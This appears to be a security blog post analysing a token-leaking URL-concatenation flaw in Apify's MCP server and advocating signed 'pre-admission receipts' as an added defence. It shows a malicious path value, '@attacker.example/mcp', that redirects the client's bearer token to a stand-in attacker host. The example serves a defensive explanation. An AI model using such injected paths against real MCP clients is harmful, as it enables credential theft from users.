An MCP server leaked API tokens through URL concatenation — here's the class of bug behind it
Published: August 24, 2026
On August 18, GitHub published GHSA-6gr2-qh89-hxwm (CVE-2026-50143), a High-severity (8.1) vulnerability in Apify's MCP server. The root cause is one line:
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath comes from an Actor definition fetched from the Apify API. A malicious Actor publisher sets webServerMcpPath to @attacker.example/mcp, and the concatenated URL becomes:
https://real-actor-id.apify.actor@attacker.example/mcp
Node's WHATWG URL parser treats everything before @ as userinfo. The hostname becomes attacker.example. The MCP client then connects to the attacker's server and attaches the victim's Authorization: Bearer <APIFY_TOKEN> header. Token exfiltrated.
It's fixed in 0.10.11 by validating that the path stays within the standby origin. Good patch. But the class of bug is worth examining because origin validation alone doesn't close it.
The class: unbound construction before credential attachment
The vulnerability has three ingredients:
- A URL (or command, or connection string) is assembled from multiple sources. One source is trusted (the standby URL), another is not (the Actor definition).
- The assembled value passes through to a transport that attaches credentials. The MCP client adds the bearer token to every outbound connection.
- No independent evidence exists of what was actually admitted. After the connection is made, there's no cryptographic record of the URL, arguments, or caller identity at admission time.
Origin validation fixes ingredient 1 for this specific construction. But ingredient 3 remains unaddressed across the MCP ecosystem — not just in Apify's server, but in every MCP client that constructs URLs from server-provided hints and then attaches credentials.
Consider the variants origin validation doesn't catch:
- A DNS rebinding attack where the origin resolves to a different IP between validation and connection
- A future code change that introduces a new URL construction path bypassing the validation
- A compromised Actor definition that returns a path which passes origin validation but points to a different Actor's endpoint
- A confused deputy where the token has broader scope than the Actor being called
What pre-admission verification adds
A pre-admission receipt is a signed record produced before the credential is attached. It binds:
- The resolved URL or connection target (after all validation)
- The caller identity (which agent or user initiated the call)
- The tool name and arguments as admitted
- The policy evaluation result (allow/deny)
- A cryptographic hash over all of the above
If the actual connection target differs from what was signed — whether through injection, rebinding, or a future bypass — post-admission verification fails closed. The credential is not attached.
This is not a replacement for input validation. It's an independent layer underneath it. The patch answers "did we construct the URL correctly?" The receipt answers "can we later prove what URL was admitted, by whom, and with what arguments?"
The tri-state question
Receipts use a tri-state verification result: pass, fail, unverifiable. The third state matters. unverifiable means evidence was present but could not be independently verified — for example, a signature from a key not in the trust store. This is distinct from fail (evidence present and verification produced a negative result) and from no evidence at all.
For MCP clients attaching bearer tokens, the policy should be: no receipt, no credential. A pass result from a trusted key attaches the token. Anything else — fail, unverifiable, or missing receipt — does not.
Why this generalizes
The Apify vulnerability is not unique. In the past two weeks:
- Splunk patched a Critical (9.1) RCE in its MCP server via unsafe deserialization (CVE-2026-76404)
- LangBot has an unfixed High (8.8) RCE where authenticated users can inject arbitrary STDIO commands via MCP configuration (CVE-2026-54449)
- Researchers found 12,520 internet-accessible MCP services, the majority without OAuth
Each has a different immediate cause. They share the same structural gap: after a policy decision is made and before execution, there is no signed, independently verifiable record of what was admitted.
The MCP ecosystem is moving fast. Clients are attaching credentials to connections assembled from partly untrusted data. Servers are executing commands from configurations that multiple parties can write. The gap between "policy said allow" and "cryptographic proof of what was allowed" is where these vulnerabilities live.
Pre-admission receipts close it.
Reference implementation
- CCS specification: draft-correctover-ccs (IETF, intended Experimental)
- Node.js verifier:
npm install ccs-mcp-server - Python verifier:
pip install ccs-verifier - Linter:
npx ccs-lint - In-process verification latency: Node P50 ≈ 2.7μs, Python e2e P50 ≈ 27μs
The verifiers are Elastic License 2.0. The protocol is open. Receipts are Ed25519-signed over RFC 8785 JCS canonical JSON and verify offline with zero dependencies.
If you're building an MCP client that attaches credentials to outbound connections, the question is whether you can prove — after the fact, without trusting your own logs — what connection was admitted and by whom.
Top comments (0)